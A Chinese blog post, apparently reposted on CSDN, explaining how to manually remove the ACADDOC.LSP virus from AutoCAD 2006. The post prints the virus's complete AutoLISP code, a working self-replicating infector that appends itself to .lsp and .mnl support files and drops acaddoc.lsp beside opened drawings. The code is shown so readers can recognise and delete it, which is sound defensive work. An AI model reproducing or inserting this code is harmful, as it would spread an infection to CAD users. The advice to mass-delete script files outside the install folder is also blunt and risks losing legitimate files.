autocad输入的列表有缺陷解决方法

我的电脑上装有Autocad2006,每次启动和打开文件时都有提示:

输入的列表有缺陷

 

还有一个症状是有些命令不能执行,比如三维阵列(3Darray命令或菜单修改->三维操作->三维阵列)。提示:输入的列表有缺陷

 

这个问题我忍受和困扰了很久。今天终于在网上找到了解决方法。

 

出现此问题的原因是Autocad中了病毒,使用360可以查出病毒,但清除病毒会删除.lsp等文件,导致有些命令不能执行。既能杀掉病毒,也使得病毒破坏的命令恢复正常才是根本的解决方案。

 

原文如下:

=======

 

CAD程序非常易中ACADDOC.LSP病毒,该病毒易传播感染,且一般的杀毒软件都不能对此查杀,就连市面上专门的CAD杀毒软件都对此望尘莫及。对于此现象,本人向大家介绍一种手动杀毒方法,这种方法追本溯源,治标治本,即是将病毒文件的源程序删除即可。此方法虽然操作上有些麻烦,但是却是最切实有效的方法,本人经试验过多次,均将问题解决,且不用重新安装CAD。

以下是相关操作步骤:

1、若发现文件夹中多出ACADDOC.LSP文件即说明你的CAD中毒了。

2、关闭CAD程序。

3、全盘搜索 *.fas *.lsp *.mnl *.arx文件,除了CAD安装目录以外的该类文件均全部删除。

4、检查CAD安装目录文件的修改时间,把ACADDOC.LSP病毒感染
X:/Program Files/AutoCAD20**/Support文件夹下的

3d.lsp;
3darray.lsp;
acad2010.lsp;
acad2010doc.lsp;
acadinfo.lsp;
ai_utils.lsp;
attredef.lsp;
edge.lsp;
mvsetup.lsp;
sample-profile-util.lsp

文件以及

C:/Documents and Settings/用户名/Application Data/Autodesk/AutoCAD 20**/R16.2/chs/Support下的

*.MNL文件

中的病毒代码删除。(用记事本打开)

5、把CAD安装目录中的所有*.fas *.lsp *.mnl *.arx文件改为只读属性。

说明: 要删除的病毒代码在文件的尾部,具体如下:

(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
(setq flag nil) (setq flag1 t)
(if (findfile target)
(progn
(setq wjm1 (open target "r"))
(while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
(close wjm1) );progn );if
(if flag1
(progn
(setq wjm (open source "r"))
(setq wjm1 (open target "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
(progn
(write-line text wjm1) );progn );
if );while
(close wjm1)
(close wjm) );progn );
if );defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "//support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile (strcat acaddocpath "//acaddoc.lsp")) (setq mnln 0)
(while (< mnln mnlnum) (
setq mnlfilename (strcat acadmnlpath "//" (nth mnln mnlfilelist)))
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnln (1+ mnln)) );while
(setq lspn 0)
(while (< lspn lspnum) (
setq lspfilename (strcat support "//" (nth lspn lspfilelist)))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);while );progn
);if
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "//" (nth mnln mnlfilelist)))
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "//" (nth mnln1 mnlfilelist)))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1)) )
;while
(setq lspn1 0) (while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "//" (nth lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln (1+ mnln))
);while (setq lspn 0) (while (< lspn lspnum)
(setq lspfilename (strcat support "//" (nth lspn lspfilelist)))
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "//" (nth lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "//" (nth mnln1 mnlfilelist)))
(app lspfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn (1+ lspn))
(load "acadapq")
(princ)

后面可能还会有一些病毒程序代码,但大同小异,大部分以(setq flagxt)开头。 该方法绝对不会对CAD的功能使用造成影响,请大家放心使用。

===================

 

照此方法操作,再启动Autocad和打开文件时没有“输入的列表有缺陷”的提示了,启动速度快了,并且3DArray命令可以使用了。

非常感谢该文的作者。

 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值